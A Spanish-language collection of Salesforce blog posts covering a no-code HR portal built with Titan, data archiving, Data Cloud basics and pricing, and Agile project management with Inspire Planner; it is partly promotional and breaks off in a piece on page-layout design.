  • En el pasado, cada vez que un empleado quería reservar sus días de vacaciones, tenía que completar un formulario de licencia manual, escanearlo y enviarlo por correo electrónico a Recursos Humanos para su aprobación. Ahora simplemente hacen clic en la pestaña de días de vacaciones para gestionar las solicitudes de licencia.
  • El Portal de Recursos Humanos del Empleado permite a los empleados registrar pedidos de equipos de TI directamente desde sus dispositivos móviles, computadoras portátiles y de escritorio.
  • Los empleados pueden presentar solicitudes de gastos de la empresa antes de que se procesen para la nómina y pueden presentar las solicitudes para recibir el pago antes de la fecha límite de nómina. Esto significa que no hay que esperar a que se paguen las reclamaciones de gastos.
  • Incluso hay un Centro de conocimiento donde los empleados pueden obtener respuestas a todas sus preguntas frecuentes y solucionar problemas rápidamente:
  • Recursos Humanos ahorra 40 horas al mes en trabajo manual (¡incluida la nómina!) y los empleados están más comprometidos.
  • La empresa logró hacer todo esto dentro del presupuesto y en un tiempo récord, sin tener que implementar ningún código ni desarrollo personalizado.

Prueba de concepto

Consulte este portal de recursos humanos sin código donde los empleados pueden iniciar sesión y realizar diversas acciones de autoservicio:

[contenido incrustado]

Salesforce Experience Cloud es una solución conocida con un historial decente en permitir a las empresas crear aplicaciones y portales para mejorar la experiencia del cliente. Aun así, no está exento de limitaciones: falta de flexibilidad en lo que respecta a la experiencia del usuario, ninguna opción real para diferenciar entre la experiencia de escritorio y móvil, y dificultad para integrarse con herramientas fuera de Salesforce, ¡por nombrar solo algunas!

Utilizar el desarrollo personalizado para crear su propia aplicación o portal personalizado resolverá la mayoría de los mayores problemas de Experience Cloud. Con el desarrollo personalizado, obtienes total libertad para crear cualquier portal o aplicación que puedas soñar y obtener diseños dinámicos para cualquier dispositivo. Si bien el desarrollo personalizado mitiga los puntos débiles de Experience Cloud, esta solución presenta sus propios desafíos, que incluyen trabajo y mantenimiento de desarrollo complicados, gastos adicionales y una comercialización más lenta.

Titan gana a lo grande al brindarle lo mejor de ambos mundos: obtiene software de arrastrar y soltar combinado con la libertad y flexibilidad que brinda el desarrollo personalizado. Si está buscando la alternativa líder a Experience Cloud y le gustó lo que leyó, ¡póngase en contacto hoy!

Evaluación formativa

¿Qué es lo que aprendiste de esta publicación? ¿Cómo imagina aplicar este nuevo conocimiento en el mundo real? Siéntete libre de compartir en los comentarios a continuación.

Seguir leyendo

Archivando datos, ¡no tan rápido!

Archivando datos, ¡no tan rápido!

En el mundo actual basado en datos, las empresas generan una gran cantidad de datos, incluidos registros de clientes, historial de transacciones y más. (No me hagas empezar con los LLM).

Gestionar estos datos de manera eficiente es clave para el buen funcionamiento de sus entornos de Salesforce, la capacidad de almacenamiento, el consumo de energía y también las regulaciones de retención de datos. Ahí es donde entra en juego el archivo de datos.

Como sabrás, paso un poco de tiempo todos los días en la 'comunidad de respuestas'. Así es como (hace muchos años) entré en la comunidad Salesforce Trailblazer. Así que trato de pasar un poco de tiempo allí todos los días. Y he visto algunas preguntas recientemente sobre este asunto. Así que pensé en ampliar el intercambio de conocimientos: escribamos este artículo, donde exploramos el archivo de datos y arrojamos luz sobre algunas consideraciones esenciales.

Antes de comenzar a archivar como si no hubiera un mañana, esto es lo que debe analizar:

Elegir los registros adecuados para archivarlos
El primer paso para crear una estrategia de archivo de datos es determinar qué registros deben archivarse. No es necesario archivar todos los datos; sólo se deben considerar aquellos que ya no se utilizan activamente pero que deben conservarse para fines históricos o de cumplimiento. Para los usuarios de Salesforce, esto podría incluir contactos antiguos de clientes, oportunidades cerradas o casos obsoletos.

En la mayoría de los casos, los datos pueden simplemente eliminarse. ¡No seas acaparador! Y eliminar conduce a un menor uso de almacenamiento, menos procesamiento, menos riesgos potenciales de seguridad y gobernanza, menos consumo de energía… ¡en definitiva, menos complicaciones!

¡Menos es más!

Acceder a datos archivados
Si bien los datos archivados generalmente se almacenan fuera del entorno principal de Salesforce, es crucial considerar cómo y si estos registros serán necesarios nuevamente .

  • Piense en la frecuencia con la que su equipo necesita acceder a datos archivados y
  • si debería estar disponible fácilmente o si
  • puede permitirse un proceso de recuperación más largo. También,
  • determinar si necesita ejecutar informes sobre datos archivados para análisis históricos o
  • fines de cumplimiento.

Matando el mito: ¡En este hilo reciente se propuso utilizar un objeto personalizado! ¡No hagas esto, no tiene sentido! El uso de almacenamiento será el mismo si se trata de un objeto estándar o personalizado (si no más).

Definición de períodos de retención
Los distintos tipos de datos pueden tener distintos requisitos de conservación. Por ejemplo, es posible que sea necesario conservar los registros financieros durante un período más prolongado que las consultas de los clientes.

Comprenda los períodos de retención específicos para su industria y ubicación, y asegúrese de que su estrategia de archivo se alinee con estas regulaciones.

Cumplimiento de las regulaciones de la industria
A riesgo de repetirme: el cumplimiento de la normativa de conservación de datos es primordial. Investigue si existen regulaciones específicas aplicables a su industria y ubicación .

Por ejemplo, el Reglamento General de Protección de Datos (GDPR) de la Unión Europea impone reglas estrictas sobre la retención y la privacidad de los datos.

Cumplir con estas normativas no es sólo un requisito legal sino también una forma de generar confianza con sus clientes. Y le ahorra molestias y estrés en el futuro.

Soluciones de archivo existentes
Considere qué soluciones de archivo ya existen en su organización. Algunas empresas pueden tener un sistema de archivo dedicado que puede o no integrarse perfectamente con Salesforce, mientras que otras pueden depender de procesos manuales.

Es muy fácil distraerse con la proliferación de aplicaciones, no te dejes cegar por las cosas brillantes. Comprender su configuración actual puede ayudarle a tomar decisiones informadas sobre cómo mejorar su estrategia de archivo.

No te olvides del escenario del “Regreso”
A veces, los datos archivados no desaparecen para siempre. Piense en escenarios en los que podría necesitar resucitar registros archivados, como un contacto de cliente previamente cerrado que regresa como un cliente potencial.

Asegúrese de que su sistema de archivo permita una fácil recuperación y reintegración cuando sea necesario. ¡Descubra qué situaciones podrían ocurrir, con qué frecuencia, cuánto volumen, etc., para que pueda diseñar el proceso basándose en decisiones informadas!

En conclusión, el archivo de datos eficaz es un aspecto crucial de la gestión de instancias de Salesforce. Al considerar cuidadosamente qué registros archivar, cómo acceder a ellos, períodos de retención, regulaciones de cumplimiento, soluciones existentes y la posibilidad de que los datos "regresen", su organización puede garantizar la integridad de los datos, el cumplimiento normativo y la capacidad de aprovechar los datos históricos. para necesidades futuras. ¡También aproveche el poder de ELIMINACIÓN!

¿Cuál es tu enfoque? ¿Qué más tiene en su lista al clasificar las solicitudes de archivo de datos?

Seguir leyendo

Cómo comenzar con Salesforce Data Cloud: guía 101 y casos de uso

Cómo comenzar con Salesforce Data Cloud: guía 101 y casos de uso

Última actualización el 2 de octubre de 2023 por Rakesh Gupta

Los datos no son sólo un buen extra; es esencial. Especialmente ahora, cuando las empresas operan en gran medida en espacios digitales, la necesidad de un buen uso de los datos es clara. El papel del análisis de datos se ha vuelto crucial para impulsar el éxito de una empresa. Es importante que los líderes de las empresas tengan un plan de datos sólido, uno que permita que sus negocios avancen rápidamente y enfrenten desafíos difíciles.

Los equipos se benefician enormemente de un análisis de datos sólido. Pueden tomar decisiones inteligentes más rápido que antes y también con mayor precisión. Este tipo de uso de datos también ayuda a los equipos a trabajar mejor juntos al eliminar cosas que obstaculizan un buen trabajo en equipo. Los líderes de TI tienen un papel especial aquí. Tienen las habilidades para hacer que los datos sean útiles de nuevas maneras, transformando el trabajo de los equipos y mejorando la experiencia de los clientes.

¿Qué es Salesforce Data Cloud y por qué debería implementarlo?

Salesforce Data Cloud está diseñada para cambiar la forma en que las empresas interactúan con los clientes. Es bueno para recopilar datos de diferentes lugares. Estos datos van a una gran área de almacenamiento llamada lago de datos. Luego utiliza un análisis preciso para explicar lo que significan los datos.

Salesforce Data Cloud ayuda a vincular varias fuentes y nubes más rápidamente en toda la plataforma. Sin embargo, Data Cloud también es un artículo que se puede pedir. Aunque no todos los clientes de Salesforce han comprado Data Cloud, aunque se encuentran en el punto de partida, todavía utilizan Data Cloud hasta cierto nivel. Sin embargo, todo esto se fortalece cuando se utiliza la Nube de Datos como plataforma de personalización y unificación de datos.

¿Por qué necesito implementar una nube de datos ahora?

Imagínese cómo el volumen de datos crece rápidamente cuando piensa en la cantidad de clics que hace cada cliente. Puede realizar un seguimiento de dichos datos de participación a medida que ocurren, por ejemplo, cuando los usuarios abren y hacen clic en correos electrónicos, exploran páginas en sus aplicaciones móviles y miran artículos en su tienda en línea. Es mucho más probable que las personas hagan clic cuando les envías un correo electrónico o una oferta que les resulta útil. Puede capturar la interacción cuando un consumidor hace clic en Data Cloud. Cuando sepa qué les interesa y si es probable que compren algo o no, podrá aprovechar esta información a su favor.

Para cada sector o puesto, la Nube de Datos puede generar experiencias y oportunidades de negocio potentes.

Para analizar cuentas integradas y adquirir información rápida y fácilmente sobre sus clientes y los efectos comerciales, los analistas pueden conectar Data Cloud a Tableau o QlikView . Cuando una empresa puede identificar a sus consumidores en función de la cantidad y el tema de sus tickets de soporte, puede desarrollar y llevar a cabo un plan para reducir esos tickets. Verifique los datos nuevamente para asegurarse de que el plan haya tenido éxito.

Los desarrolladores pueden crear software utilizando datos de Data Cloud, como un sistema de puntuación de salud que mide la puntuación de salud de un paciente utilizando objetos e información prediseñados. Cuando una actividad de datos inicia un flujo para enviar notificaciones a los médicos cuando una puntuación cae por debajo de un nivel específico, esa puntuación y su uso se convierten en una experiencia que salva vidas.

Según la probabilidad de conversión de un cliente, los vendedores pueden obtener información sobre sus clientes potenciales y sus ventas potenciales. Según los hábitos de navegación de los usuarios y los niveles actuales de oferta de productos, la gestión del comercio electrónico puede utilizar datos para personalizar su sitio web.

¿Cómo funciona la nube de datos de Salesforce?

Fuente de la imagen: Blog de desarrolladores de Salesforce Reúna todos los datos de sus clientes en Data Cloud

En pocas palabras, Data Cloud permite a los administradores de Salesforce realizar una variedad de acciones, que incluyen, entre otras:

  • Vincula tus fuentes de datos por lotes y de streaming.
  • Refine los datos entrantes empleando métodos de transformación y adhiriéndose a protocolos de gobernanza.
  • Estandariza tus datos conformándolos a un modelo establecido.
  • Fusione diferentes elementos de datos mediante la aplicación de reglas de coincidencia de identidades.
  • Explore su conjunto de datos para obtener información mediante consultas y análisis en profundidad.
  • Implementar algoritmos de inteligencia artificial para pronosticar comportamientos.
  • Divida y fragmente sus datos y luego impleméntelos en múltiples plataformas para crear experiencias personalizadas.
  • Evalúe sus datos a través de soluciones de análisis compatibles.
  • Exporte estos datos a diversos destinos, alineando acciones con objetivos comerciales específicos.
  • Vuelva a evaluar, cuantifique y ajuste periódicamente sus activos de datos.
Fuente de la imagen: Ayuda de Salesforce Acerca de Salesforce Data Cloud

Cómo empezar con la nube de datos

Se puede utilizar una estructura similar a un lago de datos para describir Salesforce Data Cloud. Como ejemplo, recopilando todos los datos de la plataforma Salesforce. Sin embargo, también es capaz de importar datos de otras fuentes externas, como lagos de datos.

Perspectiva :

Un lago de datos es una ubicación concentrada para almacenar datos no procesados. Las empresas utilizan este sistema de almacenamiento enorme, adaptable y asequible para recopilar y guardar grandes cantidades de datos organizados, no estructurados y semiestructurados en su formato original. Las publicaciones en redes sociales, los registros de sensores y los datos de ubicación son solo algunos ejemplos de los datos no estructurados que recopilan los lagos de datos.

Lo que indica para los usuarios : las marcas son más capaces de predecir los requisitos y necesidades de los consumidores debido a la gran cantidad de información accesible en un lago de datos.

Cómo afecta a los equipos : Los equipos pueden acceder a enormes cantidades de datos en una ubicación, lo que les permite moverse más rápidamente y mantenerse al día con (o superar) a los oponentes.

Pasos de implementación

Revise esta lista de verificación sugerida antes de comenzar a utilizar Data Cloud. Confirme que su equipo esté configurado antes de implementar Data Cloud, verifique estos puntos:

  • El equipo comprende los principales conceptos y restricciones que pueden afectar la facturación.
  • Analiza la gestión de la marca y la estructura organizacional.
  • Examina los principios del modelo de datos antes de acordar una estrategia de datos.
  • Analice los datos que ya tiene y las fuentes de datos.
  • Reconoce a un administrador de Salesforce para configurar Salesforce Data Cloud.
  • Enumera los usuarios además de los permisos que requieren.
  • Establece objetivos de segmentación.
Fuente de la imagen: Configuración de la nube de datos del módulo Trailhead

Costo y disponibilidad de Salesforce Data Cloud

Salesforce Data Cloud es costoso. Es una inversión que requiere una planificación meticulosa porque comienza en $10 mil por organización, mensualmente. De manera realista, dependiendo de los valores de sus datos, es posible que su empresa ya necesite gastar más en Data Cloud. Como tus datos crecen constantemente, es importante tenerlo presente todo el tiempo, pero…  

… En el último evento de Dreamforce, Salesforce anunció que las licencias gratuitas de Data Cloud ya están disponibles. Los clientes que tengan Enterprise Edition o superior ahora pueden acceder a Data Cloud sin costo alguno. En esta oferta se incluyen dos licencias de Tableau Creator, que permiten a las empresas conectar hasta 10 000 perfiles de clientes y comenzar sus exploraciones.

En conclusión

Los datos son más cruciales que nunca y supervisar el flujo de datos en constante crecimiento es un trabajo increíble. Sin embargo, los datos tienen una enorme influencia. El potencial de obtener conocimientos empresariales que puedan fundamentar decisiones y producir experiencias sorprendentes para los clientes crece a medida que aumenta el acceso a los datos y la alfabetización sobre datos para las personas de toda su empresa. La IA y el CRM se pueden utilizar para impulsar actividades inteligentes y proporcionar servicios personalizados a escala cuando se combinan con datos procesables en tiempo real.

Ahora, con Data Cloud y Einstein AI nativos en la plataforma Einstein 1, las empresas pueden crear fácilmente aplicaciones y flujos de trabajo impulsados por AI que potencian la productividad, reducen costos y brindan increíbles experiencias a los clientes. – Parker Harris, cofundador y director de tecnología, Salesforce

Los datos del cliente, el contenido empresarial, los datos de telemetría, los chats de Slack, los datos parcialmente estructurados y otros datos estructurados y no estructurados se fusionan y conectan mediante Data Cloud, la plataforma de datos a hiperescala de Salesforce que funciona en tiempo real, para generar un perfil único del cliente. La plataforma ya vincula e integra 100 mil millones de registros diariamente y procesa 30 billones de transacciones mensuales.

Las empresas ahora pueden crear perfiles de clientes completos y unificados, ofrecer nuevas experiencias de CRM y acceder a datos fragmentados de formas completamente nuevas gracias a la integración completa de la nueva Nube de Datos con la Plataforma Einstein 1.

Referencias:

Dorian es un administrador y desarrollador certificado 4x de Salesforce con amplia experiencia en la personalización de Salesforce según las necesidades del cliente. Comenzó su trayectoria en TI como administrador de CRM y mantuvo su enfoque en el ecosistema de Salesforce. Le encanta explorar nuevas integraciones en Salesforce y detectar formas alternativas de optimizar los procesos comerciales dentro del CRM. Actualmente trabaja como desarrollador de Salesforce a tiempo completo y contribuye con contenido al portal educativo SFApps.info.

Evaluación formativa:

¡Quiero saber de ti!

¿Qué es lo que aprendiste de esta publicación? ¿Cómo imagina aplicar este nuevo conocimiento en el mundo real? Siéntete libre de compartir en los comentarios a continuación.

Seguir leyendo

Uso de Agile en proyectos de Salesforce – Inspire Planner

Uso de Agile en proyectos de Salesforce - Inspire Planner

Los enfoques tradicionales de gestión de proyectos a menudo necesitan ayuda con la naturaleza vibrante de las implementaciones de Salesforce. Estos enfoques convencionales, aunque estructurados, pueden provocar falta de comunicación, incumplimiento de plazos y aumento de costos debido a su inflexibilidad. Afortunadamente, puedes utilizar Agile en proyectos de Salesforce para mejorar el proceso de entrega de tu proyecto.

Los proyectos de CRM pueden ser extremadamente complejos y tienen una tasa de fracaso significativa. Según diferentes fuentes que investigan proyectos de CRM, entre el 20 y el 70% de dichos proyectos fracasan. La falta de coordinación interfuncional se citó a menudo como el factor de riesgo más importante para el fracaso del proyecto CRM. Imagine la frustración de invertir tiempo y recursos en un proyecto de Salesforce sólo para verlo descarrilado por estrategias de gestión inflexibles.

La metodología Agile ofrece una salida. En comparación, sólo el 9% de los proyectos ágiles terminan en fracaso. Diseñado para la adaptabilidad y la colaboración, Agile en los proyectos de Salesforce los mantiene alineados con los objetivos comerciales a través del enfoque iterativo.

En este artículo, descubrirá cómo Agile en los proyectos de Salesforce garantiza que se mantengan encaminados, que las partes interesadas participen continuamente y que el resultado resuene con los objetivos previstos.

Metodología de gestión de proyectos en cascada versus ágil: descripción general rápida

Waterfall es una metodología tradicional de gestión de proyectos que sigue un enfoque lineal y secuencial. Los proyectos que utilizan la metodología Waterfall avanzan a través de fases predefinidas, desde la recopilación de requisitos hasta la implementación del producto, y normalmente utilizan el diagrama de Gantt para mostrar el cronograma y el progreso de los proyectos.

Gestión de proyectos en cascada de Inspire Planner en SalesforceGestión de proyectos en cascada de Inspire Planner en Salesforce

Por el contrario, la metodología Agile es un enfoque colaborativo para la gestión de proyectos y el desarrollo de software que enfatiza la flexibilidad, los comentarios de los clientes y la iteración rápida. En lugar de una progresión lineal, los proyectos se dividen en tareas pequeñas y manejables llamadas "sprints" o "iteraciones", que son períodos cortos con un límite de tiempo.

Inspire Planner Gestión ágil de proyectos en SalesforceInspire Planner Gestión ágil de proyectos en Salesforce

Si diferentes equipos de su organización utilizan ambos enfoques para diferentes proyectos, existen herramientas nativas de Salesforce como Inspire Planner que pueden manejar con éxito ambas metodologías, Waterfall y Agile.

Beneficios de utilizar Agile en proyectos de Salesforce

Los proyectos de Salesforce son complejos y requieren un enfoque flexible e iterativo para tener éxito. La metodología ágil es muy adecuada para este tipo de proyectos y ofrece varios beneficios que pueden ayudar a agilizar el proceso.

  • Velocidad: Con Agile en Salesforce, los proyectos se dividen en fases cortas de sprint, cada una de las cuales da como resultado un resultado tangible o una parte del producto final. Este enfoque modular acelera el proceso de desarrollo, garantizando una entrega más rápida que los métodos tradicionales, donde todo el proyecto se aborda como una tarea enorme. Alrededor del 6,2% opta por sprints de una semana, manteniendo sus ciclos cortos y dinámicos, mientras que la mayoría de los equipos (59,1%) prefiere sprints de 2 semanas.
  • Flexibilidad: Agile permite a los equipos incorporar estos cambios sin problemas en el proyecto en curso a medida que evolucionan las necesidades de los procesos de negocio o surgen nuevos requisitos. Esto garantiza que el producto final siempre se alinee con los objetivos comerciales actuales y las necesidades de los usuarios. La flexibilidad de Agile lo hace un 37% más rápido y un 16% más productivo que el modelo de desarrollo de proyectos convencional.
  • Participación del cliente: Agile enfatiza la colaboración y la comunicación abierta. Los clientes o partes interesadas participan durante todo el proceso de desarrollo y brindan retroalimentación periódica después de cada sprint. Esta participación continua garantiza que el producto se desarrolle según sus expectativas, lo que reduce las posibilidades de sorpresas de último momento o revisiones importantes. Se pueden realizar cambios inmediatamente si hay obstáculos o defectos en el camino, lo que convierte a Agile en un modelo ideal para muchos equipos de diversas industrias.
  • Calendario y costos predecibles: la naturaleza de Agile, combinada con su énfasis en la planificación y las revisiones periódicas, facilita la estimación de cronogramas y presupuestos. Cada sprint tiene una duración y un alcance definidos, lo que permite a los equipos predecir mejor los costos del proyecto y las fechas de entrega. Los sprints suelen durar entre una y cuatro semanas, lo que permite a los equipos ofrecer nuevas funciones rápidamente y con una fuente de alta previsibilidad.

Cómo Agile en Salesforce mejora la gestión de proyectos

El verdadero potencial de Salesforce sólo puede desbloquearse si se combina con un enfoque de gestión de proyectos adaptativo. Así es como Agile amplifica la eficacia de la entrega de proyectos de Salesforce:

  • Desarrollo iterativo y retroalimentación: Agile lo coloca a la vanguardia, a diferencia de los modelos tradicionales, donde la retroalimentación suele ser una ocurrencia tardía. Agile en Salesforce permite adaptaciones rápidas basadas en los comentarios de las partes interesadas al dividir el proyecto en sprints más pequeños y manejables. Según una encuesta del Project Management Institute, el 71% de las empresas adoptan Agile, lo que destaca su amplia aceptación y eficacia.
  • Colaboración y comunicación: Agile no es solo una metodología; es una cultura. Mejora un entorno de comunicación abierta, garantizando que todos los miembros del equipo, desde los desarrolladores hasta las partes interesadas, estén en sintonía. Esta colaboración mejorada garantiza que la implementación de Salesforce sea integral y atienda todas las facetas del negocio. Desarrollar una cultura ágil sólida en su organización puede aumentar el rendimiento comercial en un 237 %.
  • Transparencia: una de las características destacadas de Agile es su énfasis en la visibilidad. Herramientas como los tableros Kanban y los gráficos de evolución ofrecen a las partes interesadas una vista en tiempo real del progreso del proyecto. Esta transparencia garantiza la rendición de cuentas y permite intervenciones oportunas si el proyecto se desvía de su curso. Agile en Salesforce puede mejorar la transparencia del proyecto en un 40%.
  • Gestión de riesgos: los riesgos son inevitables en el ajetreado mundo de las implementaciones de Salesforce. Sin embargo, con su enfoque iterativo, Agile permite la identificación temprana de posibles obstáculos. Al abordar los problemas de frente, Agile en Salesforce garantiza que los riesgos se identifiquen y mitiguen rápidamente. El 31% de las empresas ha adoptado Agile para reducir los riesgos.
  • Mejora continua: la complacencia no tiene cabida en Agile. Después de cada sprint, los equipos realizan retrospectivas, analizando qué salió bien y qué no. Estos conocimientos allanan el camino para la optimización de procesos, garantizando que el equipo evolucione y mejore. Según Hexacta, adoptar una mentalidad de mejora continua en el desarrollo ágil ayuda a mejorar la productividad del equipo y mejora la innovación.
Registro de riesgos del proyecto en Inspire Planner, una aplicación de gestión de proyectos nativa de Salesforce

Implementación de Agile en proyectos de Salesforce

La integración de metodologías ágiles en proyectos de Salesforce puede cambiar las reglas del juego para las implementaciones de CRM. Aquí hay una guía de 4 pasos para incorporar Agile a la perfección en sus esfuerzos de Salesforce:

Configurar equipos para Agile en Salesforce

La base de cualquier proyecto Agile exitoso radica en su equipo. Para los proyectos de Salesforce, hay miembros responsables de tareas específicas.

  • Propietario del producto: el propietario del producto establece la visión del proyecto, prioriza las tareas y alinea el equipo con los objetivos comerciales.
  • Scrum Master: Actuando como facilitador, el Scrum Master garantiza que se sigan los procesos ágiles, aborda cualquier impedimento que el equipo pueda enfrentar y fomenta un entorno colaborativo.
  • Equipo de desarrollo: compuesto por desarrolladores, arquitectos y otros especialistas de Salesforce, este grupo es responsable de la implementación real, asegurando que cada sprint entregue resultados tangibles.

Herramientas y plataformas

Los usuarios de Salesforce pueden encontrar varias herramientas nativas de gestión de proyectos para ayudar en la implementación ágil. Herramientas como Inspire Planner pueden ser invaluables, ya que ofrecen funciones que se alinean con los principios ágiles, como:

  • Reserva
  • tableros kanban
  • Planificación de sprints
  • Seguimiento del tiempo
  • Administracion de recursos
  • Informes ágiles y paneles de control

Inspire Planner es una aplicación de gestión de proyectos 100 % nativa de Salesforce que es totalmente compatible con Agile en Salesforce desde el primer momento y cuenta con una alta calificación de sus clientes con más de 140 reseñas de 5 estrellas en AppExchange. Con esta herramienta, puede gestionar fácilmente los trabajos pendientes de productos, planificar sprints, realizar un seguimiento de los puntos de la historia, visualizar el trabajo mediante tableros Kanban, gestionar recursos y analizar el progreso con gráficos de evolución.

Dado que Inspire Planner se encuentra dentro de su organización de Salesforce, puede vincular directamente sus historias de usuario o tareas a cualquier registro de Salesforce, como Oportunidades, Casos y Cuentas, incluidos registros de sus objetos personalizados.

Además, Inspire Planner también ofrece una funcionalidad avanzada pero intuitiva de gestión de proyectos en cascada. Al combinar las metodologías Waterfall y Agile en un solo paquete con un solo costo de suscripción, Inspire Planner es la aplicación para todas sus necesidades de gestión de proyectos en Salesforce.

Tablero Kanban en Inspire Planner, una herramienta de gestión de proyectos nativa de SalesforceTablero Kanban en Inspire Planner, una herramienta de gestión de proyectos nativa de Salesforce

Planificación de Sprint, reuniones diarias y revisiones de Sprint

En el contexto de Salesforce, estas ceremonias Agile son importantes para su proceso de gestión de proyectos:

  • Planificación de Sprint: Dadas las vastas capacidades de Salesforce, definir objetivos claros para cada sprint es crucial, asegurando que los esfuerzos del equipo se dirijan hacia tareas de alta prioridad.
  • Reuniones diarias: estas breves reuniones permiten al equipo analizar el progreso, abordar los obstáculos y garantizar que la implementación de Salesforce siga por buen camino.
  • Revisiones de Sprint: después de cada sprint, es esencial revisar el trabajo realizado, recopilar comentarios y garantizar que las funcionalidades implementadas de Salesforce se alineen con las necesidades comerciales.

Ceremonias de adaptación a los desafíos relacionados con Agile en Salesforce

Cada plataforma tiene desafíos únicos y Salesforce no es una excepción. Las ceremonias ágiles pueden necesitar ligeras adaptaciones. Puede estar relacionado con personalizaciones específicas de Salesforce, integraciones con aplicaciones no nativas o la gestión de los ciclos de lanzamiento regulares de Salesforce.

Por ejemplo, la duración de los sprints puede variar según los ciclos de lanzamiento de Salesforce, o las retrospectivas pueden incluir discusiones sobre herramientas y mejores prácticas específicas de Salesforce.

Mejores prácticas para introducir Agile en Salesforce

Fusionar el mundo de las metodologías ágiles con las implementaciones de Salesforce puede desbloquear eficiencias y resultados incomparables. Sin embargo, se deben arraigar ciertas mejores prácticas para aprovechar plenamente el potencial de esta sinergia.

Estas son algunas de las mejores prácticas que puede probar:

Capacitación y mejora de equipos en prácticas ágiles

Antes de sumergirse en las aguas de Agile, es imprescindible que el equipo esté bien equipado para nadar. Esto significa invertir en sesiones de capacitación integrales que presenten a los miembros del equipo los principios básicos de Agile.

Ya sea que se trate de comprender la importancia de los sprints, el papel de un Scrum Master o los matices de las retrospectivas, un equipo bien capacitado puede afrontar fácilmente los desafíos de las implementaciones de Salesforce. Además, las sesiones periódicas de mejora de habilidades pueden garantizar que el equipo se mantenga actualizado con las últimas metodologías ágiles y aplicaciones ágiles para Salesforce.

Garantizar canales de comunicación claros entre los expertos de Salesforce y los profesionales ágiles

La comunicación clara es el puente que conecta los mundos Agile y Salesforce. Con su profundo conocimiento de la plataforma, los expertos de Salesforce deben dialogar constantemente con profesionales ágiles que aportan experiencia en metodología.

Esto garantiza que los procesos ágiles se adapten a las demandas únicas de Salesforce. Las reuniones periódicas, las sesiones frecuentes de retroalimentación y los canales de comunicación abiertos pueden evitar desajustes y garantizar que el proyecto siga encaminado.

Revisar y adaptar periódicamente el proceso ágil para adaptarlo al entorno de Salesforce

A medida que avanzan los proyectos de Salesforce, es fundamental revisar y perfeccionar los procesos ágiles continuamente. Esto podría significar ajustar la duración de los sprints para alinearse con los ciclos de lanzamiento de Salesforce, incorporar herramientas específicas de Salesforce en el conjunto de herramientas Agile o incluso ajustar la estructura del equipo para adaptarse mejor a las demandas del proyecto.

Las retrospectivas periódicas pueden ofrecer información sobre áreas de mejora, garantizando que el proceso Agile permanezca optimizado para el entorno de Salesforce.

Posibles desafíos de Agile en Salesforce y Soluciones

Combinar metodologías ágiles con implementaciones de Salesforce, si bien es prometedor, es un desafío. Sin embargo, estos desafíos pueden abordarse eficazmente con previsión y planificación estratégica.

Éstos son algunos de los posibles obstáculos y cómo superarlos:

Resistencia al cambio de las metodologías tradicionales

  • Desafío: Los equipos acostumbrados a las metodologías tradicionales de gestión de proyectos pueden encontrar desalentador el cambio a Agile. El miedo a lo desconocido y la comodidad de los procesos familiares pueden generar resistencia.
  • Solución: La gestión del cambio es clave. Comience con sesiones de concientización que destaquen los beneficios de Agile, especialmente en el contexto de las implementaciones de Salesforce. Los talleres prácticos, las historias de éxito y los proyectos piloto pueden ayudar a los equipos a realizar una transición sin problemas. Tener defensores del cambio dentro del equipo puede generar un sentimiento positivo y fomentar la adopción.

Alinear sprints ágiles con los ciclos de lanzamiento de Salesforce

  • Desafío: los ciclos de lanzamiento de Salesforce a veces pueden alinearse con los sprints ágiles. Esto puede provocar problemas de sincronización, donde es posible que se publiquen nuevas funciones de Salesforce a mitad del sprint.
  • Solución: La planificación estratégica es esencial. Los equipos deben conocer el calendario de lanzamientos de Salesforce y planificar sus sprints en consecuencia. Si se anticipa un lanzamiento de Salesforce durante un sprint, se deben tomar medidas para acomodarlo. Esto podría significar sprints más cortos o alinear sprints específicos en torno a versiones de Salesforce para explorar e integrar nuevas funciones.

Garantizar la calidad en los ciclos rápidos de desarrollo

  • Desafío: La naturaleza iterativa de Agile significa ciclos de desarrollo rápidos. Si bien esto garantiza una entrega más rápida, a veces puede comprometer la calidad, especialmente cuando se intenta aprovechar las amplias capacidades de Salesforce.
  • Solución: el control de calidad debe integrarse en cada sprint. Las herramientas de prueba automatizadas, la integración continua y las revisiones periódicas del código pueden garantizar que la calidad no se vea comprometida. Además, dedicar sprints específicos o partes de sprints a controles de calidad, especialmente después de importantes personalizaciones de Salesforce, puede garantizar un producto final sólido.

Pensamientos finales

La fusión de metodologías ágiles con la entrega de proyectos de Salesforce presagia una nueva era en las implementaciones de CRM. Esta sinergia promete tanto eficiencia como un nivel de adaptabilidad y capacidad de respuesta del que a menudo carecen las metodologías tradicionales.

Vemos un testimonio de este potencial transformador cuando reflexionamos sobre herramientas como Inspire Planner.

  • Encapsula la esencia de Agile dentro del ecosistema de Salesforce.
  • Garantiza que los proyectos se completen y realmente resuenen con los objetivos comerciales.

Adoptar Agile para las implementaciones de Salesforce no es solo una recomendación sino un imperativo estratégico. A medida que la industria continúa evolucionando, la capacidad de adaptarse e iterar rápidamente definirá el éxito.

Al integrar Agile en los proyectos de Salesforce, las organizaciones pueden asegurarse de seguir el ritmo de esta evolución y mejorar la colaboración. El futuro llama y es ágil.

Seguir leyendo

Un diseño tipo "cortador de galletas" puede ser lo que sus usuarios necesitan

Un diseño tipo "cortador de galletas" puede ser lo que sus usuarios necesitan

La personalización es un sello distintivo de Salesforce, pero ¿qué sucede cuando se exagera? Durante más de 20 años, una organización del sector público creó versiones específicas para equipos de las páginas de registros de Salesforce Lightning Experience . Demasiados diseños causaron confusión y llevaron a las personas a mantener sus propias hojas de cálculo en lugar de completar Sales Cloud . Todo eso cambió cuando un Trailblazer con certificación 10X introdujo un patrón de diseño simple y repetible.

"El modelo simple puede ser algo útil", dijo Prag Ravichandran Kamalaveni, fundador y director ejecutivo de Skilled Cohort .

Establezca las bases para el crecimiento con Sales Cloud

Maximice la productividad, obtenga información valiosa y optimice los procesos para crecer con usted.

Este #DreamDesigner devolvió al cliente a los conceptos básicos de UX . Juntos, implementaron una plantilla universal para páginas de registros Lightning con objetos estándar y personalizados . El enfoque permitió a los usuarios navegar por las páginas más fácilmente y eliminar sus hojas de cálculo. "La gente volvió a Sales Cloud para completar la información", dijo. "Comenzaron a sentirse más seguros de que podían hacer lo que tenían que hacer y hacerlo rápidamente".

Por fin, todos podrían beneficiarse de una única fuente de verdad.

El buen diseño fomenta la creación de hábitos

"El buen diseño se basa en la memoria muscular y así es como puede convertirse en un hábito", dijo Prag, quien trabajó en este proyecto mientras trabajaba en CloudKettle , una consultoría que ayuda a las organizaciones a mejorar las operaciones de ingresos.

